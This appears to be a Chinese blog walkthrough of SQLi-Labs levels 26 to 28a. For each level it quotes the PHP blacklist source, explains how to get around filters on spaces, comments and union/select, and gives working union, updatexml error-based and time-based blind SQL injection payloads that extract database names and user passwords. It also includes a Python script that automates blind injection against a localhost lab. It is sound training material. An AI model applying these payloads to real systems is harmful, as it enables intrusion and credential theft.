君衍.
- 一、二十六关 基于GET过滤空格以及注释报错注入
- 1、源码分析
- 2、绕过思路
- 3、updatexml报错注入
- 二、二十六a关 基于GET过滤空格注释字符型注入
- 1、源码分析
- 2、绕过思路
- 3、时间盲注
- 三、二十七关 基于union及select的过滤单引号注入
- 1、源码分析
- 2、绕过思路
- 3、联合查询注入
- 4、updatexml报错注入
- 四、二十七a关 基于union及select的过滤双引号注入
- 1、源码分析
- 2、绕过思路
- 3、联合查询注入
- 4、时间盲注
- 五、二十八关 基于union及select单引号括号注入
- 1、源码分析
- 2、绕过思路
- 3、联合查询注入
- 4、时间盲注
- 五、二十八a关 基于二十八关的过滤减少
- 1、源码分析
- 2、绕过思路
- 3、联合查询注入
- 4、时间盲注
点击跳转:
SQL-Labs靶场“1-5”关通关教程
SQL-Labs靶场“6-10”关通关教程
SQL-Labs靶场“11-15”关通关教程
SQL-Labs靶场“15-20”关通关教程
SQL-Labs靶场“21-25”关通关教程
一、二十六关 基于GET过滤空格以及注释报错注入
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
GET | 联合、报错、布尔盲注、延时盲注 | id=‘$id’ |
刚打开的界面:
我们可以看到它说所有的空格以及注释好像让过滤掉了,这里我们首先进行验证:
1、令id为1观察回显
2、令id为1后面加上单引号观察是否会报错
我们这里可以看到有报错,所以我们之后可以进行尝试使用报错注入。
3、测试使用联合查询观察过滤后的语句
我们这里即可看到它将注释符以及空格进行了过滤从而引发报错,下面我们当然是想办法绕过,所以我们先查看源码。
1、源码分析
include("../sql-connections/sqli-connect.php");
// take the variables
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
//fiddling with comments
$id= blacklist($id);
//echo "<br>";
//echo $id;
//echo "<br>";
$hint=$id;
// connectivity
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysqli_query($con1, $sql);
$row = mysqli_fetch_array($result, MYSQLI_BOTH);
if($row)
{
echo 'Your Login name:'. $row['username'];
echo 'Your Password:' .$row['password'];
}
else
{
print_r(mysqli_error($con1));
}
}
else { echo "Please input the ID as parameter with numeric value";}
function blacklist($id)
{
$id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive)
$id= preg_replace('/and/i',"", $id); //Strip out AND (non case sensitive)
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --
$id= preg_replace('/[#]/',"", $id); //Strip out #
$id= preg_replace('/[\s]/',"", $id); //Strip out spaces
$id= preg_replace('/[\/\\\\]/',"", $id); //Strip out slashes
return $id;
}
首先先解读源码,第一步获取了变量id值,然后执行了blacklist函数进行了过滤,之后进入SQL语句中进行查询,如果可以查到,输出查询到的信息,所以这里我们使用联合查询其实也是可以的。如果没有查询到,那么输出报错信息。也就是报错注入也可以进行尝试。
这里我们也来看下具体的过滤情况:
# 过滤了or以及and的大小写
$id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive)
$id= preg_replace('/and/i',"", $id); //Strip out AND (non case sensitive)
# 过滤了/*
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
# 过滤了--以及#注释符
$id= preg_replace('/[--]/',"", $id); //Strip out --
$id= preg_replace('/[#]/',"", $id); //Strip out #
# 过滤了空格
$id= preg_replace('/[\s]/',"", $id); //Strip out spaces
# 过滤了斜线
$id= preg_replace('/[\/\\\\]/',"", $id); //Strip out slashes
2、绕过思路
这里过滤了以下几个字符:
1、or以及and的大小写
我们可以考虑以下几种绕过方式:
and = &&
or = ||
# 异或
xor = |
not = !
使用这几种字符进行替换掉or以及and。
第二便是使用双写进行绕过:
即为:
or=oorr
and=anandd
2、过滤了–以及#注释符
这里我们可以使用闭合或者分号NULL的方式绕过:
1、and '1'='1 #这里需要注意使用时观察闭合方式完成闭合
2、;%00 #这里%00就是NULL的意思,这里可以充当注释符
3、` #一些特殊的情况下可以充当注释
3、过滤了空格
这里我们使用如下几种方式绕过:
1、/**/ #注释即可充当空格
2、()
3、两个空格
也可采用url编码绕过:
符号 | 说明 |
---|---|
%09 | TAB 键 (水平) |
%0a | 新建一行 |
%0c | 新的一页 |
%0d | return 功能 |
%0b | TAB 键 (垂直) |
%a0 | 空格 |
3、updatexml报错注入
1、爆出数据库名
payload:
?id=1'aandnd(updatexml(1,concat(0x7e,database(),0x7e),1));%00
2、爆出数据库中的所有表
payload:
?id=1'anandd(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema='security')),0x7e),1));%00
3、爆出users表中所有列名
payload:
?id=1'anandd(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(infoorrmation_schema.columns)where((table_schema='security')anandd(table_name='users'))),0x7e),1));%00
4、查询数据
payload:
?id=1'anandd(updatexml(1,concat(0x7e,(select(group_concat(username,0x3a,passwoorrd))from(users)),0x7e),1));%00
观察字符限制使用limit或者substr函数进行截取即可。
二、二十六a关 基于GET过滤空格注释字符型注入
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
GET | 联合、布尔盲注、延时盲注 | id=(‘$id’) |
本关同26关的注入点判断基本一致,唯独这里可以发现的不同便是没有了报错,首先我们使用id为1进行测试:
然后在1后面加上单引号:
由这里我们即可判断出报错注入显然是不能使用了,同时我们在使用参数为1测试中发现是进行了查询信息的回显的,所以这里我们可以试着使用联合查询进行注入。同时,盲注我们还需知道闭合方式来进行判断是否可以绕过得到不同的界面。
1、源码分析
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
···
if($row)
{
echo 'Your Login name:'. $row['username'];
echo 'Your Password:' .$row['password'];
}
else
{
//print_r(mysqli_error($con1));
}
这里与26关不同的地方便是闭合方式以及注释掉了报错信息显示,所以这里我们是无法使用报错注入的。同时过滤函数同26关相同。
2、绕过思路
这里过滤了以下几个字符:
1、or以及and的大小写
我们可以考虑以下几种绕过方式:
and = &&
or = ||
# 异或
xor = |
not = !
使用这几种字符进行替换掉or以及and。
第二便是使用双写进行绕过:
即为:
or=oorr
and=anandd
2、过滤了–以及#注释符
这里我们可以使用闭合或者分号NULL的方式绕过:
1、and '1'='1 #这里需要注意使用时观察闭合方式完成闭合
2、;%00 #这里%00就是NULL的意思,这里可以充当注释符
3、` #一些特殊的情况下可以充当注释
3、过滤了空格
这里我们使用如下几种方式绕过:
1、/**/ #注释即可充当空格
2、()
3、两个空格
也可采用url编码绕过:
符号 | 说明 |
---|---|
%09 | TAB 键 (水平) |
%0a | 新建一行 |
%0c | 新的一页 |
%0d | return 功能 |
%0b | TAB 键 (垂直) |
%a0 | 空格 |
3、时间盲注
这里我们使用时间盲注进行注入,比如说这里我们首先测试数据库名的第一个字符的ascii值是否大于100,那么我们构造payload:
?id=1')anandd(if(ascii(left(database(),1))>100,sleep(3),0));%00
我们可以看到回显需要3秒以上,所以我们我们可以使用盲注的方式进行注入,我们编写成python来完成我们的盲注:
import requests
import time
def inject_database(url):
name = ''
for i in range(1, 20):
low = 32
high = 128
mid = (low + high) // 2
while low < high:
payload = "1')aandnd(if(ascii(substr(database(),%d,1))>%d, sleep(1), 0))aandnd('1')=('1" % (i, mid)
params = {"id": payload}
start_time = time.time()
r = requests.get(url, params=params)
end_time = time.time()
if end_time - start_time >= 1:
low = mid + 1
else:
high = mid
mid = (low + high) // 2
if mid == 32:
break
name += chr(mid)
print(name)
if __name__ == "__main__":
url = 'http://127.0.0.1/sqli7/Less-26a/index.php'
inject_database(url)
可以看到非常的方便,下面我们便是更改payload继续进行时间盲注。
三、二十七关 基于union及select的过滤单引号注入
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
GET | 联合、报错、布尔盲注、延时盲注 | id=(‘$id’) |
从主页面我们可以看到它说明将我们的union以及select进行了过滤,但是我们依旧是按照常规的注入思路进行注入点判断注入:
1、使用id为1进行查询,观察回显
这里我们可以看到回显了查询到的内容,所以我们之后可以进行尝试联合查询注入,先不说它将union以及select进行了过滤。
2、使用id为1后面加上单引号查看是否有回显
我们可以看到这里是进行了报错的,所以我们即使不使用union以及select进行查询也是可以尝试使用报错注入进行注入的。
1、源码分析
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
···
if($row)
{
echo 'Your Login name:'. $row['username'];
echo 'Your Password:' .$row['password'];
}
else
{
print_r(mysqli_error($con1));
}
function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --.
$id= preg_replace('/[#]/',"", $id); //Strip out #.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/select/m',"", $id); //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/union/s',"", $id); //Strip out union
$id= preg_replace('/select/s',"", $id); //Strip out select
$id= preg_replace('/UNION/s',"", $id); //Strip out UNION
$id= preg_replace('/SELECT/s',"", $id); //Strip out SELECT
$id= preg_replace('/Union/s',"", $id); //Strip out Union
$id= preg_replace('/Select/s',"", $id); //Strip out select
return $id;
}
这里我们可以看到和26关相似,只是过滤的内容变了,所以我们现在进行分析:
function blacklist($id)
{
# 过滤了/*
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
# 过滤了-
$id= preg_replace('/[--]/',"", $id); //Strip out --.
# 过滤了#
$id= preg_replace('/[#]/',"", $id); //Strip out #.
# 过滤了空格
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
# 过滤了select /m严格模式不能进行双写绕过
$id= preg_replace('/select/m',"", $id); //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
# 过滤了union以及其大写
$id= preg_replace('/union/s',"", $id); //Strip out union
$id= preg_replace('/select/s',"", $id); //Strip out select
$id= preg_replace('/UNION/s',"", $id); //Strip out UNION
$id= preg_replace('/SELECT/s',"", $id); //Strip out SELECT
$id= preg_replace('/Union/s',"", $id); //Strip out Union
$id= preg_replace('/Select/s',"", $id); //Strip out select
return $id;
}
2、绕过思路
union以及select没有忽略大小写,所以依旧可以进行绕过:
# 大小写混写
unioN
unIon
seLect
...
# 嵌套双写
uunionnion
sselectelect
ununionion
...
这里还过滤了以下几个字符:
过滤了–以及#注释符
这里我们可以使用闭合或者分号NULL的方式绕过:
1、and '1'='1 #这里需要注意使用时观察闭合方式完成闭合
2、;%00 #这里%00就是NULL的意思,这里可以充当注释符
3、` #一些特殊的情况下可以充当注释
过滤了空格
这里我们使用如下几种方式绕过:
1、/**/ #注释即可充当空格
2、()
3、两个空格
也可采用url编码绕过:
符号 | 说明 |
---|---|
%09 | TAB 键 (水平) |
%0a | 新建一行 |
%0c | 新的一页 |
%0d | return 功能 |
%0b | TAB 键 (垂直) |
%a0 | 空格 |
3、联合查询注入
我们这里使用%0a进行尝试看是否可以代替空格(我们使用猜字段的方式:)
?id=9999'%0aorder%0aby%0a4;%00
我们可以看到使用%0a代替了空格且成功绕过,下面我们就正常思路使用联合查询注入:
1、爆出数据库名以及版本
?id=9999'%0auNion%0asElect%0a1,database(),version();%00
这里之所以使用9999,那是因为如果我们需要使用联合查询时,我们需要使联合查询前面的条件为假,我们之前使用-1,但是这里由于过滤掉了-号,所以我这里使用了9999远大于库中数据的数量。
2、爆出数据库中的表名
?id=9999'uNion%0asElect%0a1,group_concat(table_name),3%0afrom%0ainformation_schema.tables%0awhere%0atable_schema='security';%00
3、查询可疑表users中的所有列名
?id=9999'uNion%0asElect%0a1,group_concat(column_name),3%0afrom%0ainformation_schema.columns%0awhere%0atable_schema='security'%0aand%0atable_name='users';%00
4、爆出数据
?id=9999'uNion%0asElect%0a1,group_concat(username,0x3a,password),3%0afrom%0ausers;%00
这里我们即可完成注入。
4、updatexml报错注入
1、爆出数据库名
?id=1'%0aand%0aupdatexml(1,concat(0x7e,database(),0x7e),1);%00
2、爆出数据库中的表
?id=1'%0aand%0aupdatexml(1,concat(0x7e,(sElect%0agroup_concat(table_name)from%0ainformation_schema.tables%0awhere%0atable_schema='security'),0x7e),1);%00
3、爆出数据库中可疑表users的列名
?id=1'%0aand%0aupdatexml(1,concat(0x7e,(sElect%0agroup_concat(column_name)from%0ainformation_schema.columns%0awhere%0atable_schema='security'%0aand%0atable_name='users'),0x7e),1);%00
4、爆出数据
?id=1'%0aand%0aupdatexml(1,concat(0x7e,(sElect%0aconcat(username,0x3a,password)from%0ausers%0alimit%0a0,1),0x7e),1);%00
自此,27关注入即可完成。
四、二十七a关 基于union及select的过滤双引号注入
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
GET | 联合、布尔盲注、延时盲注 | id=“$id” |
本关和27关注入点判断基本一致,但是在使用1双引号传入参后,会发现没有了报错:
所以这里注入点这里没有了,我们也就不能使用报错注入,但是依旧可以看到查询到的结果是进行了回显的,所以我们之后可以进行尝试使用联合查询注入。
1、源码分析
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
···
if($row)
{
echo 'Your Login name:'. $row['username'];
echo 'Your Password:' .$row['password'];
}
else
{
//print_r(mysqli_error($con1));
}
···# 与27关一致
这里我们可以看到它将报错信息显示进行了注释,同时闭合方式采用了双引号进行闭合,剩下的过滤函数与27关一致。
2、绕过思路
union以及select没有忽略大小写,所以依旧可以进行绕过:
# 大小写混写
unioN
unIon
seLect
...
# 嵌套双写
uunionnion
sselectelect
ununionion
...
这里还过滤了以下几个字符:
过滤了–以及#注释符
这里我们可以使用闭合或者分号NULL的方式绕过:
1、and '1'='1 #这里需要注意使用时观察闭合方式完成闭合
2、;%00 #这里%00就是NULL的意思,这里可以充当注释符
3、` #一些特殊的情况下可以充当注释
过滤了空格
这里我们使用如下几种方式绕过:
1、/**/ #注释即可充当空格
2、()
3、两个空格
也可采用url编码绕过:
符号 | 说明 |
---|---|
%09 | TAB 键 (水平) |
%0a | 新建一行 |
%0c | 新的一页 |
%0d | return 功能 |
%0b | TAB 键 (垂直) |
%a0 | 空格 |
3、联合查询注入
我们这里使用%0a进行尝试看是否可以代替空格(我们使用猜字段的方式:)
?id=1"%0aorder%0aby%0a3;%00
?id=1"%0aorder%0aby%0a4;%00
我们可以看到使用%0a代替了空格且成功绕过,下面我们就正常思路使用联合查询注入:
1、爆出数据库名以及版本
?id=9999"%0auNion%0asElect%0a1,database(),version();%00
这里之所以使用9999,那是因为如果我们需要使用联合查询时,我们需要使联合查询前面的条件为假,我们之前使用-1,但是这里由于过滤掉了-号,所以我这里使用了9999远大于库中数据的数量。
2、爆出数据库中的表名
?id=9999"uNion%0asElect%0a1,group_concat(table_name),3%0afrom%0ainformation_schema.tables%0awhere%0atable_schema='security';%00
3、查询可疑表users中的所有列名
?id=9999"uNion%0asElect%0a1,group_concat(column_name),3%0afrom%0ainformation_schema.columns%0awhere%0atable_schema='security'%0aand%0atable_name='users';%00
4、爆出数据
?id=9999"uNion%0asElect%0a1,group_concat(username,0x3a,password),3%0afrom%0ausers;%00
这里我们即可完成注入。
4、时间盲注
当然这里也可以使用时间盲注,payload如下:
?id=1"%0aand(if(ascii(left(database(),1))>111,sleep(3),0))and%0a"1"="1
判断数据库名第一个字符是否大于115:
?id=1"%0aand(if(ascii(left(database(),1))>115,sleep(3),0))and%0a"1"="1
由此可见我们也可编写python脚本即可完成注入。
五、二十八关 基于union及select单引号括号注入
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
GET | 联合、布尔盲注、延时盲注 | id=(‘$id’) |
本关依旧和二十七关类似,使用1以及1单引号来进行请求查看回显:
我们依旧可以看到输出了查询到的信息,但是并没有输出报错信息,所以本关和27a类似,可以使用联合查询以及盲注的方式注入。
1、源码分析
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
···
if($row)
{
echo 'Your Login name:'. $row['username'];
echo 'Your Password:' .$row['password'];
}
else
{
//print_r(mysqli_error($con1));
}
function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --.
$id= preg_replace('/[#]/',"", $id); //Strip out #.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
//$id= preg_replace('/select/m',"", $id); //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/union\s+select/i',"", $id); //Strip out UNION & SELECT.
return $id;
}
本关采用单引号括号进行闭合,同时注释了报错信息,输出了查询到的信息,同时过滤了一些字符。与27a关不同的便在于闭合方式以及过滤的内容。
2、绕过思路
首先我们来看本关的过滤内容:
# 过滤了/*
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
# 过滤了-以及#注释符
$id= preg_replace('/[--]/',"", $id); //Strip out --.
$id= preg_replace('/[#]/',"", $id); //Strip out #.
# 过滤了空格
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
//$id= preg_replace('/select/m',"", $id); //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
# 过滤了union select /i大小写都进行了过滤
$id= preg_replace('/union\s+select/i',"", $id); //Strip out UNION & SELECT.
所以这里我们大小写绕过是不可能的了,这里我们使用双写进行绕过union以及select的过滤。
# 嵌套双写
uunionnion
sselectelect
ununionion
...
这里还过滤了以下几个字符:
过滤了–以及#注释符
这里我们可以使用闭合或者分号NULL的方式绕过:
1、and '1'='1 #这里需要注意使用时观察闭合方式完成闭合
2、;%00 #这里%00就是NULL的意思,这里可以充当注释符
3、` #一些特殊的情况下可以充当注释
过滤了空格
这里我们使用如下几种方式绕过:
1、/**/ #注释即可充当空格
2、()
3、两个空格
也可采用url编码绕过:
符号 | 说明 |
---|---|
%09 | TAB 键 (水平) |
%0a | 新建一行 |
%0c | 新的一页 |
%0d | return 功能 |
%0b | TAB 键 (垂直) |
%a0 | 空格 |
3、联合查询注入
我们这里使用%0a进行尝试看是否可以代替空格(我们使用猜字段的方式:)
?id=1')%0aorder%0aby%0a3;%00
?id=1')%0aorder%0aby%0a4;%00
我们可以看到使用%0a代替了空格且成功绕过,下面我们就正常思路使用联合查询注入:
1、爆出数据库名以及版本
?id=9999')%0aunion%0aunion%0aselect%0aselect%0a1,database(),version();%00
这里之所以使用9999,那是因为如果我们需要使用联合查询时,我们需要使联合查询前面的条件为假,我们之前使用-1,但是这里由于过滤掉了-号,所以我这里使用了9999远大于库中数据的数量。
2、爆出数据库中的表名
?id=9999')%0aunion%0aunion%0aselect%0aselect%0a1,group_concat(table_name),3%0afrom%0ainformation_schema.tables%0awhere%0atable_schema='security';%00
3、查询可疑表users中的所有列名
?id=9999')%0aunion%0aunion%0aselect%0aselect%0a1,group_concat(column_name),3%0afrom%0ainformation_schema.columns%0awhere%0atable_schema='security'%0aand%0atable_name='users';%00
4、爆出数据
?id=9999')%0aunion%0aunion%0aselect%0aselect%0a1,group_concat(username,0x3a,password),3%0afrom%0ausers;%00
这里我们即可完成注入。
4、时间盲注
当然这里也可以使用时间盲注,payload如下:
?id=1')%0aand(if(ascii(left(database(),1))>111,sleep(3),0))and%0a('1')=('1
判断数据库名第一个字符是否大于115:
?id=1')%0aand(if(ascii(left(database(),1))>115,sleep(3),0))and%0a('1')=('1
由此可见我们也可编写python脚本即可完成注入。
五、二十八a关 基于二十八关的过滤减少
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
GET | 联合、布尔盲注、延时盲注 | id=(‘$id’) |
本关只是比28关少了几个过滤,剩下全部一样,所以注入点判断依旧是一样的,使用1以及1单引号进行测试:
这里我们依旧可以看到回显查询到的信息,不回显报错信息。
1、源码分析
function blacklist($id)
{
//$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
//$id= preg_replace('/[--]/',"", $id); //Strip out --.
//$id= preg_replace('/[#]/',"", $id); //Strip out #.
//$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
//$id= preg_replace('/select/m',"", $id); //Strip out spaces.
//$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/union\s+select/i',"", $id); //Strip out spaces.
return $id;
}
**剩余代码与28关都一样。。。**同时将这些过滤注释掉了,所以本关就是······难评。
2、绕过思路
# 过滤了union select /i大小写都进行了过滤
$id= preg_replace('/union\s+select/i',"", $id); //Strip out UNION & SELECT.
所以这里我们大小写绕过是不可能的了,这里我们使用双写进行绕过union以及select的过滤。
# 嵌套双写
uunionnion
sselectelect
ununionion
...
3、联合查询注入
?id=1')%0aorder%0aby%0a3;%00
?id=1')%0aorder%0aby%0a4;%00
我们可以看到使用%0a代替了空格且成功绕过,下面我们就正常思路使用联合查询注入:
1、爆出数据库名以及版本
?id=9999')%0aunion%0aunion%0aselect%0aselect%0a1,database(),version();%00
这里之所以使用9999,那是因为如果我们需要使用联合查询时,我们需要使联合查询前面的条件为假,我们之前使用-1,但是这里由于过滤掉了-号,所以我这里使用了9999远大于库中数据的数量。
2、爆出数据库中的表名
?id=9999')%0aunion%0aunion%0aselect%0aselect%0a1,group_concat(table_name),3%0afrom%0ainformation_schema.tables%0awhere%0atable_schema='security';%00
3、查询可疑表users中的所有列名
?id=9999')%0aunion%0aunion%0aselect%0aselect%0a1,group_concat(column_name),3%0afrom%0ainformation_schema.columns%0awhere%0atable_schema='security'%0aand%0atable_name='users';%00
4、爆出数据
?id=9999')%0aunion%0aunion%0aselect%0aselect%0a1,group_concat(username,0x3a,password),3%0afrom%0ausers;%00
这里我们即可完成注入。
4、时间盲注
当然这里也可以使用时间盲注,payload如下:
?id=1')%0aand(if(ascii(left(database(),1))>111,sleep(3),0))and%0a('1')=('1
判断数据库名第一个字符是否大于115:
?id=1')%0aand(if(ascii(left(database(),1))>115,sleep(3),0))and%0a('1')=('1
由此可见我们也可编写python脚本即可完成注入。